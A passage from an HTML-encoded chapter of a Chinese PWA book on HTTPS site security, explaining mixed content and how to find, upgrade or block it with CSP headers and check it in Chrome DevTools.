&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x9700;&#x8981;&#x5C06;&#x8D44;&#x6E90;&#x7684;&#x534F;&#x8BAE;&#x5934;&#x8FDB;&#x884C;&#x66FF;&#x6362;&#xFF0C;&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x4E86;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7684;&#x6982;&#x5FF5;&#x3002;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF08;Mixed Content&#xFF09;&#x987E;&#x540D;&#x601D;&#x4E49;&#xFF1A;&#x521D;&#x59CB; HTML &#x5185;&#x5BB9;&#x901A;&#x8FC7;&#x5B89;&#x5168;&#x7684; HTTPS &#x8FDE;&#x63A5;&#x52A0;&#x8F7D;&#xFF0C;&#x4F46;&#x5176;&#x4ED6;&#x8D44;&#x6E90;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x56FE;&#x50CF;&#x3001;&#x89C6;&#x9891;&#x3001;&#x6837;&#x5F0F;&#x8868;&#x3001;&#x811A;&#x672C;&#xFF09;&#x5219;&#x901A;&#x8FC7;&#x4E0D;&#x5B89;&#x5168;&#x7684; HTTP &#x8FDE;&#x63A5;&#x52A0;&#x8F7D;&#xFF0C;&#x5373;&#x5728;&#x540C;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x540C;&#x65F6;&#x6DF7;&#x5408;&#x52A0;&#x8F7D;&#x4E86; HTTP &#x548C; HTTPS &#x8D44;&#x6E90;&#x3002;</p>\n<p>&#x6DF7;&#x5408;&#x56FE;&#x7247;&#x5185;&#x5BB9;&#xFF0C;Chrome &#x7ED9;&#x51FA;&#x8B66;&#x544A;&#xFF1A;\n<img src=\"img/mix_content.png\" alt=\"mix-content\"></p>\n<p>&#x5BF9;&#x4E8E;&#x6DF7;&#x5408;&#x811A;&#x672C;&#xFF0C;Chrome &#x4F1A;&#x963B;&#x6B62;&#x52A0;&#x8F7D;&#xFF1A;\n<img src=\"img/mix_content_err.png\" alt=\"mix-content\"></p>\n<p>&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7684;&#x5B58;&#x5728;&#x4F1A;&#x964D;&#x4F4E;&#x6574;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x5B89;&#x5168;&#x6027;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x4E9B;&#x8BF7;&#x6C42;&#x5BB9;&#x6613;&#x53D7;&#x5230; XSS&#xFF0C;&#x4E2D;&#x95F4;&#x4EBA;&#x7B49;&#x5404;&#x79CD;&#x653B;&#x51FB;&#x3002;&#x7528;&#x6237;&#x770B;&#x5230;&#x8FD9;&#x4E9B; Warning &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5982;&#x679C;&#x5B58;&#x5728;&#x5A01;&#x80C1;&#xFF0C;&#x5F88;&#x6709;&#x53EF;&#x80FD;&#x5DF2;&#x7ECF;&#x88AB;&#x653B;&#x51FB;&#x3002;&#x6240;&#x4EE5;&#x5F00;&#x53D1;&#x8005;&#x6709;&#x4E49;&#x52A1;&#x5C06;&#x8D44;&#x6E90;&#x66FF;&#x6362;&#x6210; HTTPS&#xFF0C;&#x51CF;&#x5C11;&#x5B89;&#x5168;&#x98CE;&#x9669;&#x3002;</p>\n<p>&#x8003;&#x8651;&#x5230;&#x8FD9;&#x4E9B;&#x5A01;&#x80C1;&#x7684;&#x5B58;&#x5728;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7406;&#x5E94;&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7684;&#x52A0;&#x8F7D;&#xFF0C;&#x4F46;&#x8FD9;&#x4F1A;&#x9020;&#x6210;&#x4F17;&#x591A;&#x7AD9;&#x70B9;&#x4E0D;&#x53EF;&#x7528;&#x3002;&#x6240;&#x4EE5;&#xFF0C;&#x5F53;&#x524D;&#x5927;&#x90E8;&#x5206;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7B56;&#x7565;&#x662F;&#x963B;&#x6B62;&#x6700;&#x5371;&#x9669;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7C7B;&#x578B;&#xFF08;&#x5982; JavaScript &#x811A;&#x672C;&#xFF09;&#xFF0C;&#x540C;&#x65F6;&#x4ECD;&#x5141;&#x8BB8;&#x8BF7;&#x6C42;&#x4E0D;&#x592A;&#x5371;&#x9669;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7C7B;&#x578B;&#xFF08;&#x5982;&#x56FE;&#x7247;&#x7B49;&#x591A;&#x5A92;&#x4F53;&#x8D44;&#x6E90;&#xFF09;&#x3002;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x9075;&#x5FAA;<a href=\"https://w3c.github.io/webappsec-mixed-content/\" target=\"_blank\">&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x89C4;&#x8303;</a>&#xFF0C;&#x5B9A;&#x4E49;&#x4E86;&#x53EF;&#x9009;&#x62E9;&#x6027;&#x5730;&#x963B;&#x6B62;&#x7684;&#x5185;&#x5BB9;&#x548C;&#x53EF;&#x963B;&#x6B62;&#x7684;&#x5185;&#x5BB9;&#x7C7B;&#x522B;&#x3002;</p>\n<p>&#x6839;&#x636E;&#x6B64;&#x89C4;&#x8303;&#xFF0C;&#x5F53;&#x524D;&#x53EF;&#x9009;&#x62E9;&#x6027;&#x963B;&#x6B62;&#x7684;&#x5185;&#x5BB9;&#x4E2D;&#x4EC5;&#x5305;&#x62EC;&#x56FE;&#x50CF;&#x3001;&#x89C6;&#x9891;&#x548C;&#x97F3;&#x9891;&#x8D44;&#x6E90;&#x4EE5;&#x53CA;&#x9884;&#x83B7;&#x53D6;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x7684;&#x94FE;&#x63A5;&#x7B49;&#x3002;&#x968F;&#x7740;&#x65F6;&#x95F4;&#x7684;&#x63A8;&#x79FB;&#xFF0C;&#x6B64;&#x7C7B;&#x522B;&#x53EF;&#x80FD;&#x4F1A;&#x7F29;&#x5C0F;&#x3002;&#x53EF;&#x9009;&#x62E9;&#x6027;&#x963B;&#x6B62;&#x7684;&#x5185;&#x5BB9;&#x4EE5;&#x5916;&#x7684;&#x6240;&#x6709;&#x5185;&#x5BB9;&#x88AB;&#x89C6;&#x4E3A;&#x53EF;&#x963B;&#x6B62;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5C06;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x963B;&#x6B62;&#x3002;</p>\n<p>&#x503C;&#x5F97;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x4F9B;&#x5E94;&#x5546;&#x7684;&#x4E0D;&#x540C;&#x7248;&#x672C;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x5904;&#x7406;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x7684;&#x65B9;&#x5F0F;&#x4E0D;&#x5C3D;&#x76F8;&#x540C;&#x3002;&#x6240;&#x4EE5;&#x5BF9;&#x4E8E;&#x5F00;&#x53D1;&#x8005;&#x6765;&#x8BF4;&#xFF0C;&#x4FEE;&#x590D; HTTPS &#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x5341;&#x5206;&#x91CD;&#x8981;&#x3002;</p>\n<h3 id=\"&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><a name=\"&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5904;&#x7406; HTTPS &#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</h3>\n<p>HTTPS &#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x6570;&#x91CF;&#x4E0D;&#x591A;&#x65F6;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x6D4F;&#x89C8;&#x5668;&#x7684; Warning &#x6216; Error &#x63D0;&#x793A;&#xFF0C;&#x624B;&#x52A8;&#x4FEE;&#x6539;&#x6E90;&#x7801;&#x5373;&#x53EF;&#x3002;&#x5982;&#x679C;&#x60F3;&#x6279;&#x91CF;&#x5904;&#x7406;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF0C;&#x5219;&#x53EF;&#x4EE5;&#x501F;&#x52A9; CSP&#xFF08;Content Security Policy&#xFF09;&#x5373;&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;&#xFF0C;&#x4E0B;&#x9762;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x5B83;&#x5728;&#x8FD9;&#x79CD;&#x573A;&#x666F;&#x7684;&#x4F7F;&#x7528;&#xFF0C;&#x4E0B;&#x4E00;&#x8282;&#x6211;&#x4EEC;&#x5C06;&#x8BE6;&#x7EC6;&#x4E86;&#x89E3;&#x76F8;&#x5173;&#x5185;&#x5BB9;&#x3002;</p>\n<h4 id=\"&#x4F7F;&#x7528;-csp-&#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><a name=\"&#x4F7F;&#x7528;-csp-&#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-csp-&#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-csp-&#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-csp-&#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; CSP &#x67E5;&#x627E;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</h4>\n<p>&#x7ED9;&#x7F51;&#x7AD9;&#x8BBE;&#x7F6E;&#x54CD;&#x5E94;&#x5934;&#xFF1A;</p>\n<pre class=\"language-\"><code>Content-Security-Policy-Report-Only: default-src https: &apos;unsafe-inline&apos; &apos;unsafe-eval&apos;; report-uri https://example.com/reportingEndpoint\n</code></pre><p>&#x8FD9;&#x6837;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x7AD9;&#x70B9;&#x65F6;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x90FD;&#x4F1A;&#x5411; <code>https://example.com/reportingEndpoint</code> &#x53D1;&#x9001;&#x8BF7;&#x6C42;&#xFF0C;&#x544A;&#x8BC9;&#x4F60;&#x54EA;&#x4E9B;&#x5185;&#x5BB9;&#x4E0D;&#x89C4;&#x8303;&#x3002;</p>\n<h4 id=\"&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;\"><a name=\"&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;\" class=\"plugin-anchor\" href=\"#&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x8BF7;&#x6C42;</h4>\n<p>&#x53EF;&#x4EE5;&#x4F7F;&#x7528; CSP &#x7684; <a href=\"https://www.w3.org/TR/upgrade-insecure-requests/\" target=\"_blank\">upgrade-insecure-requests</a> &#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x8BF7;&#x6C42; http &#x8D44;&#x6E90;&#x65F6;&#xFF0C;&#x4F1A;&#x81EA;&#x52A8;&#x5347;&#x7EA7;&#x8BF7;&#x6C42;&#x5BF9;&#x5E94;&#x7684; HTTPS &#x8D44;&#x6E90;&#x3002;</p>\n<p>&#x5982;&#xFF0C;&#x914D;&#x7F6E;&#x8BF7;&#x6C42;&#x5934;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy:</span> upgrade-insecure-requests\n</code></pre>\n<p>&#x6216;&#xFF0C;&#x4F7F;&#x7528;<code>meta</code>&#x6807;&#x7B7E;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">http-equiv</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>Content-Security-Policy<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>upgrade-insecure-requests<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x90FD;&#x80FD;&#x4F7F;&#x6D4F;&#x89C8;&#x5668;&#x5C06; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://example.com/image.jpg<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684;&#x8BF7;&#x6C42;&#x8F6C;&#x5316;&#x6210; <code>https://example.com/image.jpg</code>&#x3002;&#x4F46;&#x6CE8;&#x610F;&#xFF0C;&#x8FD9;&#x65F6;&#x9700;&#x8981;&#x4FDD;&#x8BC1;&#x5347;&#x7EA7;&#x540E;&#x7684;&#x8D44;&#x6E90;&#x5730;&#x5740;&#x53EF;&#x7528;&#xFF0C;&#x4E0D;&#x7136;&#x5C31;&#x4F1A;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x3002;</p>\n<h4 id=\"&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><a name=\"&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x963B;&#x6B62;&#x6240;&#x6709;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</h4>\n<p>&#x5BF9;&#x4E8E;&#x4E0D;&#x652F;&#x6301; upgrade-insecure-requests &#x5C5E;&#x6027;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; CSP &#x7684; block-all-mixed-content &#x5C5E;&#x6027;&#x6765;&#x5C4F;&#x853D;&#x6240;&#x6709;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF0C;&#x6709;&#x4E24;&#x79CD;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#xFF1A;</p>\n<p>&#x914D;&#x7F6E;&#x8BF7;&#x6C42;&#x5934;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy:</span> block-all-mixed-content\n</code></pre>\n<p>&#x6216;&#xFF0C;&#x4F7F;&#x7528;<code>meta</code>&#x6807;&#x7B7E;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">http-equiv</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>Content-Security-Policy<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>block-all-mixed-content<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x4E2A;&#x5C5E;&#x6027;&#x5C06;&#x5BFC;&#x81F4;&#x6240;&#x6709;&#x4E0D;&#x5B89;&#x5168;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x963B;&#x6B62;&#xFF0C;&#x5F88;&#x660E;&#x663E;&#xFF0C;&#x5B83;&#x5B58;&#x5728;&quot;&#x8BEF;&#x6740;&quot;&#x7684;&#x98CE;&#x9669;&#xFF0C;&#x614E;&#x91CD;&#x4F7F;&#x7528;&#x3002;</p>\n<h3 id=\"&#x9A8C;&#x8BC1;-https\"><a name=\"&#x9A8C;&#x8BC1;-https\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9A8C;&#x8BC1;-https\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9A8C;&#x8BC1;-https\" class=\"plugin-anchor\" href=\"#&#x9A8C;&#x8BC1;-https\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9A8C;&#x8BC1; HTTPS</h3>\n<p>&#x501F;&#x52A9; Chrome DevTools&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x65B9;&#x4FBF;&#x5730;&#x67E5;&#x770B;&#x4E00;&#x4E2A;&#x7AD9;&#x70B9;&#x7684; HTTPS &#x5B89;&#x5168;&#x6027;&#xFF0C;&#x5B9E;&#x73B0;&#x4E24;&#x4E2A;&#x529F;&#x80FD;&#xFF1A;</p>\n<ul>\n<li>&#x9A8C;&#x8BC1;&#x5F53;&#x524D;&#x7AD9;&#x70B9;&#x7684; HTTPS &#x5B89;&#x5168;&#x72B6;&#x51B5;</li>\n<li>&#x67E5;&#x770B;&#x8FDE;&#x63A5;&#x548C;&#x8BC1;&#x4E66;&#x8BE6;&#x60C5;&#xFF0C;&#x627E;&#x51FA;&#x5177;&#x4F53;&#x7684;&#x975E; HTTPS &#x8D44;&#x6E90;&#x5217;&#x8868;&#x3002;</li>\n</ul>\n<p>&#x6253;&#x5F00; Chrome DevTools &#x7684; Security &#x9762;&#x677F;&#xFF0C;&#x5728; Overview &#x4E0B;&#x9762;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x7AD9;&#x70B9;&#x6574;&#x4F53;&#x7684;&#x5B89;&#x5168;&#x60C5;&#x51B5;&#xFF0C;&#x5982;&#x8BC1;&#x4E66;&#x662F;&#x5426;&#x5408;&#x6CD5;&#xFF0C;&#x8FDE;&#x63A5;&#x662F;&#x5426;&#x5B89;&#x5168;&#xFF0C;&#x7AD9;&#x70B9;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x662F; HTTPS &#x7B49;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/https_check.png\" alt=\"check-https\"></p>\n<p>&#x53EF;&#x4EE5;&#x70B9;&#x51FB; View certificate &#x67E5;&#x770B;&#x7AD9;&#x70B9;&#x7684;&#x670D;&#x52A1;&#x5668;&#x8BC1;&#x4E66;&#x4FE1;&#x606F;&#x3002;</p>\n<p><img src=\"img/https_certi.png\" alt=\"check-https\"></p>\n<p>&#x4E0D;&#x662F; HTTPS &#x7684;&#x7AD9;&#x70B9;&#x4F1A;&#x901A;&#x8FC7; <code>This page is not secure</code> &#x8FDB;&#x884C;&#x63D0;&#x793A;&#x3002;&#x5982;&#x679C;&#x4E00;&#x4E2A; HTTPS &#x7AD9;&#x70B9;&#x4E2D;&#x5305;&#x542B;&#x4E86; HTTP &#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF0C;&#x7AD9;&#x70B9;&#x4ECD;&#x4F1A;&#x88AB;&#x6807;&#x8BB0;&#x4E3A;&#x4E0D;&#x5B89;&#x5168;&#x3002;</p>\n<p><img src=\"img/https_check_fail.png\" alt=\"check-https\"></p>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x70B9;&#x51FB; View request in Network Panel &#x6765;&#x67E5;&#x770B;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#x5217;&#x8868;&#x8BE6;&#x60C5;&#xFF0C;&#x4F5C;&#x51FA;&#x5BF9;&#x5E94;&#x7684;&#x4FEE;&#x6539;&#x3002;</p>\n<p><img src=\"img/network_panel.png\" alt=\"check-https\"></p>\n<p>&#x901A;&#x8FC7;&#x4EE5;&#x4E0A;&#x7684;&#x6B65;&#x9AA4;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x80FD;&#x5F88;&#x5FEB;&#x53D1;&#x73B0;&#x7AD9;&#x70B9;&#x4E2D;&#x6F5C;&#x5728;&#x7684;&#x975E; HTTPS &#x5B89;&#x5168;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x6D88;&#x9664;&#x9690;&#x60A3;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter07.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第7章 安全\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-CSP.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 7.2 内容安全策略\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"level\":\"1.8.1\",\"depth\":2,\"next\":{\"title\":\"7.2 内容安全策略\",\"level\":\"1.8.2\",\"depth\":2,\"path\":\"chapter07/2-CSP.md\",\"ref\":\"chapter07/2-CSP.md\",\"articles\":[]},\"previous\":{\"title\":\"第7章 安全\",\"level\":\"1.8\",\"depth\":1,\"path\":\"chapter07.md\",\"ref\":\"chapter07.md\",\"articles\":[{\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"level\":\"1.8.1\",\"depth\":2,\"path\":\"chapter07/1-https.md\",\"ref\":\"chapter07/1-https.md\",\"articles\":[]},{\"title\":\"7.2 内容安全策略\",\"level\":\"1.8.2\",\"depth\":2,\"path\":\"chapter07/2-CSP.md\",\"ref\":\"chapter07/2-CSP.md\",\"articles\":[]},{\"title\":\"7.3 同源策略\",\"level\":\"1.8.3\",\"depth\":2,\"path\":\"chapter07/3-policy.md\",\"ref\":\"chapter07/3-policy.md\",\"articles\":[]},{\"title\":\"7.4 典型的安全漏洞\",\"level\":\"1.8.4\",\"depth\":2,\"path\":\"chapter07/4-vulnerability.md\",\"ref\":\"chapter07/4-vulnerability.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa 